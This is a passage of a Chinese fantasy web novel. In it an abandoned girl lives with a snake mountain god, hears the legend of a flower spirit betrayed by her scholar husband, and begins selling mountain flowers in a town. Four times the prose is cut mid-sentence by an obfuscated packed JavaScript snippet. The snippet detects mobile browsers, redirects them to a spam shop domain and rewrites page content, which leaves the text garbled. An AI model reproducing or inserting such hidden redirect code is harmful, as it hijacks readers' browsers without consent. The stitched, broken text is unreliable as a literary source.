大蛇解释道:“就是你们采石村所采集的绿色宝石,人类叫作‘绿玉髓’的,它们其实是这凌虚山脉的血脉所化,凝聚了不知多少千年、多少万年。没有它们,整座山脉就会死去,山中的所有生灵,自然也会随之死去。” 阿草小小胸膛,受到了大大的震撼,她没想过山也有血脉,山也是活着的。 “那……”阿草咬了咬嘴唇,她仍有些不解,“你又为何任由村子里的人采走它们呢?” 大蛇轻叹了口气:“采石村的人类,也属于山中生灵啊……我不过心存恻隐,便任由他们采走些许罢了。” 阿草这才终于明白——原来是大蛇心生怜悯,才任由采石村掘走山的心脉,而采石村却为了更多的绿玉髓,将无辜少女献祭给它。 原来善与恶的界限,并不能粗暴地划分为人与妖。 夜已经深了,漆黑的洞外除了月光银白、星光璀璨,什么也看不清楚。阿草的心从来没有这么安定过,虽然身边什么也没有,可她十五年来孤苦无依的心,却仿佛终于有了停靠之所。 她轻轻地问大蛇:“山神,你有名字吗?你的爹娘,有没有给你起一个好听的名字?” 大蛇回答:“当然有,只是无人唤过我本名。不过,你为何要问我的名字?” 阿草飞快眨了眨眼睛:“我只是希望能有一个名字,让我永远记住你……” 大蛇似乎有些动容。 良久后,它缓缓抬起脑袋,衔起一根燃烧的树枝,在岩壁上轻轻划拉起来。阿草期待地看着,碳灰划出了许多斜线、竖线,最终,它们组合成了两个笔画复杂的文字。 它说:“我叫作修璃。” 修璃,修璃,修璃…… 阿草在心中默念。岩壁上的两个字,修长而飘逸,正如大蛇蜿蜒的身躯。 大蛇见她点头,伸过尾巴想将字迹拂去,阿草连忙阻止它:“不要,不要擦掉……我不识字,我想学写这两个字,好不好?我希望将来,无论我身处何处,只要看见这两个字,就会想起你,想起你对我的好……无论如何,我都不想忘记你……” 哀伤浸上喉头,双眼又湿润了,阿草用力眨眼,想将泪留在眼眶。因为她答应过大蛇,眼睛不是用来防水的,她再也不会哭了。 大蛇静静垂着头颅,它那张兴许别人觉得骇人的蛇脸上,露出一丝怜悯的神情。 “好吧……”他缓缓收回尾巴,“那小不点,你又叫什么名字呢?” “我还是婴儿时,便被父母丢弃在了荒山,我没有父母,也没有名字……既然你叫我小不点,那我以后就叫小不点吧,我喜欢!” 她不喜欢阿草这个名字,这是村里人随口取的,不过说她命如草贱。 大蛇没有追问,而是轻轻点了点头:“那小不点,你今天很累了吧?不早了,快睡吧。” 阿草乖乖地躺下去,翻了个身面向大蛇的方向,仿佛这样才能睡得香甜。 一夜过去,篝火已经燃尽了。明亮的天光从岩穴外照射进来,洒在阿草的脸上,她迷蒙地睁开眼睛。 “哇……”阿草震惊了,不由自主地站起身来,“这也、这也太美了吧!” 原来岩穴的尽头便是如削的山崖,群鸟展羽从洞口飞过,远处青山如黛,下方云雾袅袅,看得阿草如痴如醉。不过几天时间,阿草就见过了她十五年来从未见过的太多风景,原本晦暗无光的未来,也像是阳光下的山峦,在她胸中闪闪发亮。 阿草深呼吸一口气,过去的阴霾扫空了,她摩拳擦掌准备大干一场。 要从哪里开始着手呢? 阿草走到岩穴另一边,也没有发现修璃,看着山顶的芳草垫,她在心里盘算着: 可以先摘山里的野果野菜,拿到小镇上去卖钱,换了钱,才能买到更多急需的工具,篮子、背篓,锄头、铲子和笊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587555|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篱,菜刀、水桶和铁锅,还有针线布匹——对,这很重要,她若要去小镇做买卖,就不能穿着这身奇怪的衣裙。 阿草现在踌躇满志,可山中的物资太丰富了,这反而让她犯了难。 犹豫间,她瞥见了漫山盛开的野花。 山中比外界冷,外头许多春花都已经凋谢了,可在山里却还如火如荼地盛开着。花儿娇艳,无主自开,且品类繁多,若能采上一些新鲜可人、甚至外面人没见过的品种,说不定还能卖个好价钱呢!等攒够了钱买了趁手的工具,往后的事就好办多了。 说干就干,阿草忽然变成一只活泼的云雀,在芳草垫上恣意采摘鲜花。摘下来的,浸入溪水里将养,等采够一大捧了,再用草叶捆扎起来。 大蛇修璃巡视完大山回到峰顶,一看这情景,有些摸不着头脑。 它缓缓地游了过来:“小不点,你在做什么呢,为何要采这些野花?” 阿草兴奋地奔跑过去,将自己的计划告诉修璃。 修璃听了,用尾巴尖在下巴抚了抚:“嗯……卖花确实可行,只不过这些野花太过普通,恐怕卖不了好价钱哦。” “啊……”阿草有些失望。 回头看看采来的花,不过是些常见的绣线菊和野百合,普通百姓生计本就困难,哪肯用几个铜板换一把野花?可那些愿意用鲜花装点的富贵人家,又会觉得这花太过普通了。 “你说得对……”阿草有些泄气,“我想得太简单了。” 见她垂头丧气,神情霎时便沮丧下去,修璃连忙伸过尾巴尖拍拍她的肩膀:“你别这么早灰心啊小不点,我知道山中有处谷地,那里的花开得又大又艳,我带你去采,好不好?” “真的?”阿草立马扬起头,“嗯!我想去!” 修璃似乎笑了笑,扫过长尾说道:“上来吧。” 阿草又重新燃起斗志,丢了野花,爬上修璃的背。待她坐稳后,修璃便快速游动起来,爬下高高的山峰,朝着大山更深处而去。 随着耳边舒朗的沙沙声,一人一蛇在无人涉足的深山穿行,钻过一人高的野草,绕过无数参天的古木林,淌过一条条潺潺的溪涧。越过最后一个山头,便来到了修璃所说的山谷。 这里地势低洼,水草丰茂,沿河谷两侧,开满如火如荼的鲜花。阿草激动极了,不等修璃停稳便跳下草地奔去。这里的鲜花个头奇大,花瓣层层叠叠,每一朵都有两至三色,美得不似人间之物。 阿草就像一只花丛中的蝴蝶,轻盈地奔跑跳跃,弯下腰,捧起碗口大的鲜花啧啧赞叹:“修璃,这是什么花啊?真好看!” “要说名字……那是人类所取,自然之物,原本并没有名字。” 修璃垂下巨大的头颅,嘴巴轻轻触碰柔嫩的花瓣,仿佛在细嗅花的味道: “不过你可以叫它绮绣——五百年前,正是一位名叫绮绣的花精住在这里,不久后,也葬在这里。这些花,可以说是她的精魂所化。” 5. 绮绣 “住在这里,也葬在这里?”阿草有些惊讶,“为何?” “世上最痛彻之物,莫过于情……”修璃收回神思,蛇嘴露出一抹浅浅的微笑,“小不点,你想听这个故事吗?” 阿草肯定地点点头。 修璃卧在高高的山坡上,身体慵懒地蜷在一起,惬意地晒起了太阳。他似乎想了想,才徐徐说道:“事情,要从五百年前,一位进京赶考的贫穷书生说起。” 书生的名字,叫作沈砚安。 那年夏日炎炎,山谷空气如甑,连呼吸都是燥辣辣的。沈砚安背着一只书篓从家乡徒步进京,由于人生地不熟,走着走着便偏了道。为了寻找水源,他不得不披荆斩棘深入山谷,却发现自己彻底迷路了。 方才急着寻找水源,哪知山野漫漫,无论从哪个方向望去,都看不见城市的影子。 眼见着,天色渐渐暗沉,太阳只要隐入高山背后,山谷顷刻便黯淡下来。他只是一介读书人,又因日夜不息的赶路而筋疲力尽,无奈,只能就近找了处山洞过夜。 而当他走进山洞深处时,却发现这里开着一朵花,孤零零的,盛放于山洞深处,沐浴着岩缝透下来的最后一抹阳光。 沈砚安觉得惊奇,便走上去细细端详,发现这花大而娇艳,花瓣层层叠叠,竟然有深浅不一的五种色彩,不像是凡间之物。只不过因着连日的晴阳无雨,这花显得有些萎靡,花瓣边缘也显出些许焦色。 沈砚安自己也焦渴难耐,拿出背篓里的水壶晃了晃,也只剩了半瓶不到。他重重地在花旁坐下,刚喝了一口便停住了。 “我自己还能撑一会儿,可这花若没有水,怕是要枯死了。” 他左右为难,最终还是下定决心,将壶里的水全部浇灌在花儿的脚下。然后,他放下背篓,抱紧自己,就在这处山野洞穴中和衣睡去。 第二天一早他醒来,惊喜地发现花儿已经恢复了生机,枝条重新恢复挺立,花瓣也舒展开来,看起来颇有喜色。 书生也有了信心,重新背起书篓,决定今日定要一鼓作气找到水源,还有出去的路。 离开山洞,望着面前一望无垠的山谷,他又有些退缩了。他悻悻地折返回来,蹲在花儿身边低语:“花儿啊花儿,我昨日将壶里的水都浇给了你,现在我找不到出去的路,你能给我指引一个方向吗?” 他本不指望一朵花能听懂他的话,可偏巧就在这时,洞外吹来一阵幽风,花头就在他面前轻轻摇晃,最后转向了西方。 “多谢姑娘……” 书生大喜过望,有些憨态地朝花儿鞠了一躬。 他重新振作起来,坚定不移地朝着西方走去,果然没过多久便发现村落的炊烟。 更令他喜出望外的是,他刚问清去京城的路,还没走出二三里地,便偶遇了一位独身的小娘子,她遍身没有一只包裹,称自己是来投奔远亲,却发现远亲一家早就搬走了,如今她身无分文,包裹也被无赖给抢了,自己是好不容易逃脱出来的…… 小娘子说着便泪水漩漩,祈求沈砚安能收留她。 沈砚安不过弱冠,又尚未娶妻,遇着这样一位令人见怜的小娘子,心中自是有些飘飘然。再看她眉目如画,气质清静文雅,沈砚安只感觉这是老天降下的姻缘,便腼腆地应承下来。 他问小娘子姓名,对方答曰:“奴家名唤绮绣,为报公子恩情,愿相伴公子左右。” 沈砚安并不知道,这小娘子便是那洞中奇花,正忍受干旱暴晒渡劫成妖,幸遇他半壶水之恩,这才能化为人形前来报恩。 于是接下来的路途,便有绮绣一路相伴,替他操持衣食起居,伴随青灯古卷。二人在相处中情谊渐浓,便顺理成章结为夫妻,往后更是举案齐眉、相敬如宾,是人人羡慕的一对佳偶。 有了绮绣的悉心照料,沈砚安读书更是如有神助,不过两年便金榜题名,成为了一方父母官。 讲到这里,修璃便不说了,清风掠过满山谷的绮绣,它们轻轻晃动脑袋,仿佛有无限哀思却难以言说。这份哀思,通过满谷清香传递给修璃,它便再也说不下去了。 阿草听得入了迷,听见绮绣修炼成妖后便化为了人形,她连忙问修璃:“你说你也是妖……那你也能化为人形吗?” “当然。不过,我喜欢我这副躯体,我能做到许多人类无法做到之事,去往人类无法去到之处,又为何要化为人形呢?”修璃有些不解,“人类比起动物而言,实在是太脆弱了。” 阿草点点头,她也曾渴望自己能够无所不能。 可她也很想看看,化为人形的修璃,会是什么模样? 修璃说道:“不早了,小不点。你还是快些去采花吧,今天晚上会下雨哦,最好早些回去。” 阿草望了望天空,虽然此刻还一丝黑云也没有,可她相信修璃。 她立马撒开丫子跑开,去采绮绣。 阳光如此温暖,照耀着满山谷的花朵,深一片、浅一片;谷风和煦而微凉,钻过山隙树缝之间,仿佛低吟的歌声。阿草挑选了最鲜嫩的绮绣花,尽量轻柔地采撷,每采一朵,都会轻轻说一声“谢谢”。 虽然她不还不知道,那名叫绮绣的花精究竟经历了什么,可她仿佛能感觉到绮绣的精魂还在,在山风吹起的香气中,在花瓣凝聚的露珠里。 阿草采了一捧最娇艳的绮绣,又在水边用石片割了一捆蒲苇,打算趁夜里编织成花篮。就这样,当天边开始泛起红云,山中刮起湿热的风时,她骑在大蛇的背上回到了紫府峰下。 采来的绮绣,被她浸在山泉水里,大蛇燃起了火堆,阿草便盘腿坐下清理蒲草。她在采石村学村里的妇人做过这活计,新鲜采摘的蒲草需要清理杂叶泥土,暴晒三日至完全干燥后才能使用,否则很容易长霉腐烂。 她今天就吃了些山里的野果,此时早已是饥肠辘辘,她忍着肚饿拾掇蒲草,想着明日可以先去山下的小溪里抓些鱼虾吃。 而大蛇,也悄无声息地从洞后溜了出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587556|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等到蒲草都拾掇干净,均匀地扎成一捆一捆晾晒起来后,阿草揉揉酸麻地手臂,才发现修璃竟然不见了。她又累又饿,实在体力不支,等不到修璃回来便歪着身子睡了过去。 等夜晚下起狂风暴雨,阿草猛然惊醒后才发现,身边竟隆起起一个毛茸茸的小山包。定睛一看,竟然是一堆野兔,阿草用手摸了摸,还是温热的。 “你这是捅了兔子窝吗?”她看着一旁的大蛇,啧啧感叹,“天呐,这么多兔子!” “嘶……怎么能这么说呢?”大蛇骄傲地昂起头颅,“本蛇可是山神,统领这八方一千二百座山峰,区区几只兔子兔孙,兔长老还不得双手奉上……啊呸呸呸,噗……” 几撮灰兔毛从它嘴边飞出,打了几个卷儿,缓缓飘落在地上。大蛇砸吧砸吧大嘴,蛇脸上竟露出些许窘态。 阿草实在忍不住,噗嗤笑出了声。 洞外风雨大作,今晚她是没有力气处理这些兔子了,听着风雨呼喝、雷鸣如怒,阿草又缓缓躺了下来,望着橙红色的火苗剥剥跳动。大蛇依旧将躯干围城一个圈,替她阻挡洞外的冷风。 看着它的荧荧闪动的眼睛,阿草又想起那个关于花精绮绣的故事。 “修璃……那之后,又发生了什么?”阿草侧身枕着手臂,轻声问道,“绮绣最后,为什么会死去?” “因为山精野怪虽与人类同为大自然所孕育,却终究被人类所不容。” 修璃的声音,如同幽谷清泉,缓缓流淌。 它继续讲述道,沈砚安做了官后,便带着绮绣一同前去上任。年轻官员一朝施展才华,将当地治理得风调雨顺,百姓们安居乐业,官与民之间其乐融融。 可三年过去,绮绣始终没有生下孩子,沈砚安感念绮绣一路相伴,并未因此而疏远她。 然而就在三年之后,沈砚安所治理的州县,发生了一场罕见的大旱。大旱历经两年,庄稼颗粒无收,沈砚安只好多次上书朝廷减免租税,并请求拨放赈灾粮款,以帮百姓们渡过难关。 哪知,那时的朝廷已是内忧外患,早已自顾不暇,赈灾粮款迟迟没有下放,送上去的奏章也了无音讯。在沈砚安观民间疾苦却无能为力之时,也是绮绣不离不弃,还将自己的首饰全部典当出去,以施放救济的粥饭。 绮绣更是亲力亲为,担心施粥的人克扣,每日废寝忘食地替沈砚安分忧,亲自守在棚子下替百姓分发米粥。 哪知这一日,却来了一位老道士。 老道便是本地的,在郊外山脚下找了处无人要的破院,自己修修补补改成间道观,便坐地等待香客们供奉。然而百姓们尚且吃不饱,哪有银钱余粮供奉给土偶神像?于是道观也撑不下去了,这老道也只能狼狈地来讨救济粮。 “老人家,小心烫。” 当绮绣面带笑容,将一碗稀粥递给脏兮兮的老道时,对方愣了一愣。他颤巍巍地接下粥碗,却没有立即离开,双眼眯成两条细缝,远远打量这位县太爷夫人。 6. 卖花 雨声渐弱,岩穴外滴滴答答的水滴声甚是催眠。 阿草强打精神问道:“那个道士……是不是看出了什么?” “那道士,还是有些道行的。”修璃说道,“仅一眼,他便看出绮绣的本身是精怪,一个念头浮现在他脑海中。” 不出几日,城中开始议论纷纷,一个说法在百姓中广为流传—— 两年大旱,是因为县太爷夫人是精怪化成的,沈砚安身为一方县令、百姓的父母官,却胆敢娶精怪为妻,此已上达天庭、使天神震怒,因而才会降下大旱以示惩戒。 此番说法,在城中愈演愈烈,百姓们为了抗议甚至掀翻施粥铺,指着绮绣骂她是妖怪,要求沈砚安按照老道的要求,将绮绣捉拿起来烧死祭天。 “烧死……这也太可怕了。”阿草捧起自己的双臂。 修璃说,老道自从在城外建起道观后,来求神问卜的香客并不多,因此也过得十分清贫。自从他指认县太爷夫人是花精,大言不惭地称只要烧死她以烟火上达天听,这场大旱便能解除,百姓们追随他的不在少数。 县太爷的府邸,昼夜围满了愤怒的百姓们,他们怒吼着、敲打拍门,让县太爷将这精怪交出来。 府内,沈砚安地坐在书案边,用力摁着眉心。 所谓“三人成虎”“众口铄金”,他起初对这说法嗤之以鼻,可当情况愈演愈烈难以控制时,他也不禁怀疑起绮绣的身份来。 他搁下毛笔,快步来到绮绣的房间。丫鬟们听说夫人是个妖怪,谁都不敢在屋内服侍,只剩绮绣一个人,坐在窗下点一盏油灯,静静地缝着一双虎头鞋。 沈砚安见她如此冷静,一股糟气冲上喉头,他头一次冲她吼道:“外面已经变成什么样了,你还有心情在这做什么孩子的鞋!” 一根长长的线拉到尽头,绮绣的手停住了。 “沈郎也信那老道所说,认为我是个妖怪?” 沈砚安的喉头梗了梗。他忽然想起遇见绮绣的那日,便有诸多怪异之处。 首先,那村外一条阡陌小路,两侧一望无垠,沈砚安不过稍一晃神,便看见绮绣站在自己面前——她是从何处而来?其次,她称自己是来投奔远亲,路上又被无赖抢了包裹,为何她浑身上下干干净净,不见一丝凌乱? 沈砚安越想越觉得不对劲,那日的绮绣,更像是凭空变出来似的。 他难以置信地向后跌了两步,哪知油灯下的绮绣,却亲口承认了: “没错,我原是生于山谷之中的一朵野花,修炼多年才能成为精怪。那日沈郎偶然闯入岩洞过夜,将最后的饮水浇灌给我,因此我才能顺利渡劫成妖,报答沈郎的恩情。” “你……”沈砚安吓得撞翻了桌上的茶具,“你真的是妖怪?” “妖怪又如何,人又如何?”绮绣站起身来,朝他走了一步,“我一路伴随沈郎左右,照顾沈郎衣食起居,助沈郎金榜题名,我何时害过你?难道身为精怪,就一定要害人性命,沈郎岂不知绮绣的秉性?” 可沈砚安却害怕了,当他确认绮绣并非人类,他的双眼中只剩下深深的恐惧。 “你不要过来!”他大声吼道。 绮绣停下了脚步,苍凉又愤恨地望着他。 “我终于知道了,为何你始终无法怀上孩子……”沈砚安看向那双小小的虎头鞋,“人与精怪怎能成婚,又怎么可能诞下孩儿!那道士说得没错……你我这样的做法,实在是有违天道,所以老天才会降下惩罚!” “天道?”绮绣心中突然空了一块,泪水润湿了眼角。 为了解救更多的百姓,绮绣不仅连月只靠一碗稀粥果腹,还为了赈灾施粥四处奔走劳碌,早就已经清瘦得如一根藤蔓。 她用细瘦手指,哀恸地捂住自己的小腹。 许是因为她的奔走与善心,绮绣突然有一天发现——自己终于怀孕了。她本是精怪,知道腹中怀的是一个健康的男孩,才会在深夜强打精神,缝制一双给孩子的虎头鞋。 为了孩子,她强忍住泪水,想将这件喜事告诉沈砚安,想告诉他善意终会感动上天,这才是真正的天道。 可她刚唤出一句“沈郎”,沈砚安便大声打断了她。 “不要再说了!” 他双眼通红,当绮绣承认自己是精怪时,他对她仅存的,唯有恐惧。 沈砚安撇过脸去,连看也不愿再看她一眼:“人与精怪怎可成为夫妻,之前的一切,便当作从未发生过吧!” 绮绣难掩绝望:“你真的……要烧死我?” “不……”沈砚安闭上眼睛,他深呼吸一口气,不带一丝情感地说道,“看在你曾是真心对我的份上,我不会把你交给他们,你走吧……离开这里,走得远远的,再也不要回来,也不要再祸害此地的百姓们了!” 绮绣咬着牙说道:“沈郎,你真的不肯相信我,哪怕我从未害过你分毫?六年相伴,六年夫妻,你却因为我是花精,便要将过去的情义一笔勾销吗?” “人妖殊途,你不必再多言了。”沈砚安背起双手,居高临下地抬起头,“为了百姓们不再受苦,你还是快离开吧!若是那些人闯进府里,凭我,也保不了你了。” 两滴清泪,划过她苍白的脸颊,绮绣一句话也说不出来了。 一道清风飞旋在屋中,当沈砚安痛苦地转头看去,屋内,只剩下那双永远无法做完的虎头鞋。 阿草发出两声呜咽,抬头擦了擦眼角的泪水。想到绮绣独自回到他们曾经初遇的山谷,望着漫山苍翠与苍凉,心中该是多么痛。 痛到心绪成灰,痛到撕裂成碎瓣,终于在这片生养她的山谷中死去。 阿草吸吸鼻子,望着修璃眼中她自己的倒影:“那之后,大旱解除了吗?” 修璃轻叹一口气,说道:“绮绣离开之后,大旱又持续了整整一年……直到某一天,绮绣在山谷生下一个健康的男孩,那一晚风雨大作、电闪雷鸣,大雨整整下了七天七夜……” 绮绣用山中芦苇编织成篮子,将孩子放在篮中,留在了沈砚安的县府大门外。 做完了这一切,她再次回到山谷,倒在了淋漓的大雨中,身体化为了一枝绮绣花。年复一年,和煦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587557|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春风无数遍吹过山谷,那一枝绮绣便在谷中繁衍,逐渐成为如今漫山烂漫的模样。 阿草睡着了。 洞外的雨已经完全停歇,而她的梦中,却下了一夜的瓢泼大雨…… 整座山脉被大雨洗刷,那些留在草叶上的露珠,在新一天的晴阳下闪闪发光。一夜的暴雨过去,浸在溪水中的绮绣花依旧新鲜娇嫩,阿草便趁这三日万里无云晾晒蒲苇,夜里就着篝火编织成花篮。 修璃打来的野兔实在太多了,她一只只处理干净,将皮毛剥下来收藏,吃不完的兔肉,便在洞中牵一根麻绳,挂在上面烘干。 她让自己忙碌起来,仿佛只有这样,才能稍稍抵消心中的震撼与哀伤。 修璃有些担心她的状况,当阿草忙碌时,它就蜷缩在不远处,脑袋搭在躯干上,一动不动地凝望着她。她是人,它是妖,修璃不知她听过这个故事后,会有怎样的想法。 可阿草似乎并未考虑那么多,处理完所有的野兔后,她龇牙咧嘴地在身上擦擦手掌:“疼死我了……这石片真是太难用了,这次我一定要换把小刀才行!” 见她踌躇满志的模样,修璃的心也放下了一些,它嘱咐阿草:“这次再去,你可要当心了,不要轻易跟着别人走哦。” “嗯!”阿草认真地点点头,“你放心吧修璃,我答应过你,会好好照顾自己的!” 阿草满眼期待,修璃便也不再劝说了。 只不过,当清晨它将阿草送到官道旁时,它还是化为小白蛇,钻进了阿草的花篮里。毫不知情的阿草,就这样挽着花篮和篮子里的修璃,步行进了小镇。 这一次,她从周围人的谈话中得知,原来这镇子叫作“青芜镇”。阿草尚不识字,因而看不懂门口上那三个庄严的烫金大字。 还没走到集市,就有许多夫人小姐看上了她篮子里的花,围过来好奇地询问: “小姑娘,这是什么花啊,卖多少钱?” “夫人、小姐,这花叫作绮绣,一文钱一枝。” “绮绣?我怎么没听过?” “夫人,这花是长在无人涉足的深山谷中,传说是一位花精死后幻化而成的,很珍贵的!” “花精?妖精?——什么东西,真晦气!” “……” 人群很快散去,只剩阿草无措地站在街边。 首战失利,方才问的人那么多,到头来竟一枝也没卖出去。看着篮中娇艳欲滴的鲜花,阿草有些挫败,可想想她的小刀、铁桶和新衣裳,还有辛苦跋山涉水送她过来的修璃,阿草搓搓脸,重新振作起精神来。 她原本想去集市里卖花,可转念一想愿意买花的人,多半也不会亲自去哄闹杂乱的集市,便转而朝着巷子里走去。看到气派的深宅大院,或是玲珑幽美的精巧绣楼,她便试着叫卖两声: “卖花喽,卖新鲜上好的奇花!夫人小姐快来看看,一文钱一枝,不好不要钱喽……” 而这时,朱门便会打开,里面一双柔手半掀竹帘,朝她招了招: “卖花的,你说什么上好奇花,提过来瞧瞧?” 7. 红姐儿 这招果然有效。 那些深闺中的妇人小姐们,听了叫卖,都好奇地卷帘张望,见着她篮中的绮绣,高低都会买上几枝,装点发髻,插入瓶中。 阿草的荷包,渐渐有了铜板的脆响。 可即便如此,普通百姓里买得起鲜花的,毕竟是少数,除了高门楼的富贵人家,普通人拿着几个铜板,更宁愿买几棵萝卜青菜。 花儿装点的,本就是花团锦簇般的家庭啊。 一文一钱,当知来之不易。 中午,阿草用一文钱买了两只馒头,就着井水囫囵吞下去,修璃也便趁这个时候,偷偷游到井里喝水,又偷偷钻回棉布下面。花儿还剩不少,她揉揉有些酸痛的脚踝,勉强站起身来。 没成想还没走出几步,一个意想不到的人叫住了他:“那个……我能买一枝吗?” 阿草转身看去,叫住他的人,竟然是个年轻男子。 那人就住在井边的一处陋宅,攀着漆面剥落的窄门,声音有些羞赧。阿草见他穿一身打了补丁的白衫,面容斯文清秀,应该是个读书人,便弯弯腰朝他走去。 “公子,你要买花?”她提起花篮给他瞧,流畅地说着叫卖语,“公子,这花叫作绮绣,可是别的地儿没有的上好奇花,公子要买几枝?” 书生抓耳挠腮,不好意思地说道:“我就要一枝……可以吗?请问这绮绣怎么卖?” “一文钱一枝。” “啊……” 看来书生的日子也比较紧巴,他窘迫地搓搓手心汗,似乎有些为难。在青芜镇,一文钱能买两个大白馒头,省着点吃,也能勉强作一日的口粮了。 “公子,你要一枝吗?” 阿草见他额头汗水涔涔,似乎很想要却又拿不出多余的钱来,紧张得浑身冒汗。这位公子也太腼腆了……阿草默默地想着,他既这么喜欢,送他一枝也无妨,绮绣作为花精,一定也希望人们能欣赏她的美丽。 她挑了一枝最鲜最艳的,递至书生面前:“公子,这枝就送给你了,不要钱。” “真的?”书生大喜过望,小心翼翼地接过绮绣,放在鼻下细嗅她的花香。 阿草微微弯了弯腰,提起篮子继续走去。 “等一等……”回过头,却看见书生攥着绮绣跑来,将一文钱塞进阿草的篮子里,“姑娘卖花辛苦,长郡怎能白拿姑娘的花,这钱你收好……” 阿草执意不肯要,可叫长郡的书生似乎铁了心,将铜板丢进她的篮子里,撒丫子便跑了回去。 那块铜板,不偏不倚砸在修璃的头上,发出吧嗒一声脆响。 小白蛇在篮子里扭成了一堆麻花。 “诶,什么声音?”阿草的目光被吸引过去,却发现什么怪异,回头再看那书生,已经欢快地跳进门内,啪嗒一声将门关上了。 阿草无奈地笑笑,伸手将那枚铜板摸索出来,塞进衣服的口袋里。 阿草也没想到,就连山中成片成片的花儿,拿到城里来也能卖到好价钱。她一边走街串巷,一边叫卖,小镇比她想象的还要大不少,一天下来,她竟只走了不到一半,篮里的绮绣也还剩下五六枝。 眼看着夕阳西沉,阿草担心修璃等她等得着急,又不甘心还有这么多没卖掉,左右为难。面前又出现了一口井,她俯身掬起井水,洒在有些打蔫的花瓣上。 抬头望了望,这条巷子有些偏僻,好像也没有几户人家。阿草有些泄气——这样的地方,恐怕没有愿意买花的人。 可她还是打算试一试。 在井水的灌濯下,花儿又抬起了头,稍稍精神了些,阿草也重新打起精神,走进这条偏僻的巷子,开始叫卖:“卖花喽!……卖新鲜上好的奇花!……夫人小姐快来看看,一文钱两枝,不好不要钱喽!……” 啪嗒,身后的一道门突然掀开了,阿草刚才竟没有注意到那里有门。门内传来娇滴慵懒的女声:“不好不要钱,是不是真的啊?那个卖花的,过来给姑奶奶瞧瞧!” 阿草连忙回过身去,却发现唤她的人,是位化了浓艳妆容、浑身香气扑鼻的娇艳女子。见她愣神,女子拈起丝帕捂嘴一笑,又朝她甩了甩帕子:“哎,那个卖花的,你还卖不卖啦?” “卖,卖……” 阿草赶紧低头小跑过去,从篮中挑了两枝新鲜的递给女子,趁这个间隙中,她偷偷朝门内瞄了一眼—— 只见内里雕梁画栋,大白日的,却关门闭户,点着数不清的红绸灯笼,一片红艳艳、暖融融的。女子的身后,还有其他同样美艳的女子,她们互相梳妆,嬉笑打闹,香气一阵阵透出门外。 看清里面的样子,阿草咽了一口唾沫,腿脚便有些发软了。 有了上次不好的经历,她对这样的地方产生了本能的恐惧。 “哎哎哎……小姑娘,偷看什么呐?”门口的女子身着艳丽红裙,丝帕也是艳红色的,她拿过绮绣看了两眼,突然将长长的花梗掐去大半,一抬手便插进了发髻里,“小姑娘,你瞧我好看不?” 阿草有些忐忑,也是因着女子太美,她不好意思细看,只敢飞快地瞄了一眼。 而女子眉眼妩媚,面颊红润,双唇也是猩红色,不得不说,那两朵红紫色的绮绣别在她的发髻里,衬得她的一张俏脸愈发妩媚了。 她见阿草不答却不愠,又扭身大声问门内之人,姑娘们都笑答:“好看!” “这花还真是特别,花开得这么大、这么红艳,我可从来没有见过呢。”女子满意地抚摸发髻,“小姑娘,你这篮子里的花,姑奶奶全要了,你若还有这花,也可尽给我送来,如何?” “真的?” 阿草惊喜不已,忙将篮中剩下的鲜花交到她手中。这个阿姐虽然也穿红戴绿,可她给阿草的感觉却和先前那个人牙不同,阿草本能地觉得她是好人。 女子嗅了一口花香,笑着嗔怪:“这还能有假?你也瞧见了,我这儿姐妹众多,需求可大着呢!我叫作红姐儿,小姑娘,你往后就先来我这儿,给我红姐儿和姐妹们先挑,记着了吗?” 有了长期的生意,阿草开心极了,她忙不迭点头:“红姐儿要得多的话,可以给您一文钱两枝的价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587558|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱!” “哟,你这花儿,可不就是一文钱两枝?” “那是天晚了,我着急回家,这才给了您这个价……”阿草连忙解释,“我之前都是卖一文钱一枝的!红姐儿要是不信,尽可去问!” “哎呀好啦好啦,只要花儿好,一文钱一枝我也要!”红姐儿咋咋嘴,攥了花,扭着腰肢进门去,“你在这儿等等啊,我给你拿铜板去!” 红姐儿艳红的身影,融入了门内艳红的灯笼,娇声笑语一浪浪袭来。 阿草其实一早便知道,这是什么样的地方。 